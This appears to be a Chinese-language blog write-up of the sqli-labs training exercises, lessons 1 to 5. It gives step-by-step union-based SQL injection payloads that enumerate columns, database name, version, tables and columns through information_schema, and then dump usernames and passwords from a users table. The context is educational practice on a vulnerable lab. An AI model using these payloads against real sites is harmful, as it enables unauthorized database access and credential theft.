sqli-labs(1-75)

page 1

less-1

判断注入

请输入id作为数值的参数

我们输入id=1判断有没有注入

有注入

尝试改变参数值,将参数值+1或-1,然后查看页面展示的内容是否会变化,如果页面会发生变化,我们就可以初步判断,这个id会带入数据库查询,查询后的内容会显示到页面中来。

后加单引号 

有回显

用--注释掉后面 

显示正常 

说明是字符型注入,因为该页面存在回显,所以我们可以使用联合查询

 联合查询:

第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数

联合查询会将两条查询语句的查询结果拼接到一起返回!于是反映出联合查询需遵守的一个规则便是,两条查询语句的查询字段数必须相等,于是乎在利用联合查询进行注入的时候我们第一步要做的就是判断后端代码中的SQL查询语句的字段数。

order by + 数字
通过页面状态查看有几列然后通过 union select 判断回显位(注意判断回显位的时候,前面查询的值要为假,不然回显位会被前面查询的结果所占用,导致看不到回显位)

3列

第二步:爆出显示位

就是看看表格里面那一列是在页面显示的。

?id=-1'union select 1,2,3--+

注意 id=-1, 此处 id 的值必须是一个在数据库中 id 字段不存在的值,否则联合查询第一条语句的查询结 果将占据显示位,我们需要的第二条查询语句的查询结果就不能正常显示到浏览器中。

(顺便说一下,搜狗没有火狐好用,从这里开始还是改回了火狐浏览器)

可以看到是第二列和第三列里面的数据是显示在页面的。 

第三步:数据名和版本号

?id=-1'union select 1,database(),version()--+

 

名:security,版本号:5.7.26

第四步:表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
information_schema库是 mySQL 自带的一个库,其中包含了当前数据库管理系统的所有信息,但该数据库并不是一个实体的数据库,它不存储任何实际意义上的数据,它只是整个数据库管理系统的一个视图,当某个数据库的某个表发生变化时,information_schema 库中相关的数据将同时发生变化。
在注入中,我们关注的是该库中的schemata tables columns 三个表。他们分别存储了整个数据库 管理系统的所有数据库信息,表信息,字段信息。在schemata 表中,通过 schema_name 字段可以获取所有的 数据库名;在tables, 通过 table_name table_schema 字段可以获取所有的表名与其对应的数据库名;在 columns表中,通过 columns、 table_name table_schema 字段可以获取所有的字段名以及其所属表与数 据库。
我们的注入思路就是先通过 mysql 的内建函数 database(), 获取当前数据库名,再通过 tables 表获取,所有的表信息,再通过columns 表获取上述表所有的字段,最后通过字段查询想要的数据。当然使用information_schema 库查询信息有一个很重要的条件限制,那就是,需要当前连接数据库的用户具有读该数据库的权限

 

四个表名为emails,referers,uagents,users

账号密码应该是在users表中的,所以我们直接爆users的字段名

第五步:字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 

 

第六步:查数据

用id分隔一下username和password 

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

 

less-2

判断注入类型

前面过程跟1一样,不说了直接上图

 

数字型注入

步骤

1.判断列数

3列 

2.显示位

2和3列

3.数据库名版本号 

security 

 4.表名

5.字段名

后面的图我不想截了,除了是字符型注入,跟第一道题一模一样

6.查数据

less-3

判断注入类型

 

 

本来以为也是字符型但是看到这里发现不对 

 

 

报错信息里面有括号 

 

sql语句是单引号字符型且有括号

步骤

从这里开始步骤就和前面的一样了,后面的就不用写了直接上结果吧 


?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

 

less-4

判断注入类型

 

 

 

 sql语句是双引号字符型且有括号

步骤

过程都一样

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

 

less-5

不一样了

字符型

 

这个算是没有回显的,就不能使用联合注入了,可以用布尔盲注

 

  • 21
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值